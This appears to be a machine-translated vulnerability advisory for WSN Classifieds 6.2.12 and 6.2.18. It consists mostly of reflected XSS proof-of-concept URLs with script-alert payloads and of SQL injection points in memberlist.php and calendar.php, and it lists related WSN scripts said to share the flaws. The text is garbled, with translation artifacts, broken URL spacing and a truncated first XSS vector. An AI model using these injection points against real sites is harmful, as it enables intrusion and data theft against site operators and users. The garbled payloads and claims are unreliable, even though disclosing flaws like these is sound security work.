WSN Classifieds v.6.2.12 and 6.2.18 multiple defects and repair

 

Title: WSN Classifieds v.6.2.12 & 6.2.18 Multiple Vulnerabilities

 

Development: http://www.wsnclassifieds.com

Author: RandomStorm www.2cto.com

 

# Avram Marius Gabriel (d3v1l)

Test Platform: Windows XP & Vista (IE9-Firefox 8.0)

 

Tip: Redirect and Html Injection can be saved med also

 

 

######################################## ######################################## ################

 

# Cross-Site Scripting (XSS)

 

# Xss poc:

 

# Vector: ">

 

# Http://www.bkjia.com/wsnclassifieds/suggest. php/58a2e "> c6cc2cdff91

 

# Http://www.bkjia.com/wsnclassifieds/sitemap. php/56218 "> d82e0881337

 

# Http://www.bkjia.com/wsnclassifieds/register. php/66eb5 "> 090ab232720

 

# Http://www.bkjia.com/wsnclassifieds/leaders. php/68c0c "> 026a50f9084

 

# Http://www.bkjia.com/wsnclassifieds/index. php/d0c15 "> 9086e589577

 

# Http://www.bkjia.com/wsnclassifieds/contactform. php/b3007 "> 16aadfe1637

 

 

######################################## ######################################## ################

 

# Vector: "> <script> alert (1) </script>

 

# Http://www.bkjia.com/wsnclassifieds/index. php? Action = userlogin7375e "> <script> alert (1) </script> 87668222c12 & filled = 1

 

# Http://www.bkjia.com/wsnclassifieds/contactform. php? Filled = 11 aefd "> <script> alert (1) </script> 6db4597a5ab

 

# Http://www.bkjia.com/wsnclassifieds/suggest. php? Action = addcata5886 "> <script> alert (1) </script> e10802ab7a0 & parent = 1

 

# Http://www.bkjia.com/wsnclassifieds/suggest. php? Action = addcat & parent = 15b2f5 "> <script> alert (1) </script> 9ade5081a20

 

 

######################################## ######################################## ################

 

 

# SQL Injection

 

# Http://www.bkjia.com/wsnclassifieds/memberlist. php? Ascdesc = desc & field = name & perpage = (SQL)

 

######################################## ######################################## ################

 

 

# Note: problems are found in the following programs:

 

# WSN Gallery-media gallery script

# Wsn kb-article directory script

# WSN Forum-message board script

# WSN Directory-business directory script

# WSN Software Directory-software directory script

# WSN Shop-storefront script

 

# Some of it uses "calendar" so the SQL injection will be passed med also from "calendar. php? YearID = 2011 & monthID = 12 & dayID = SQL"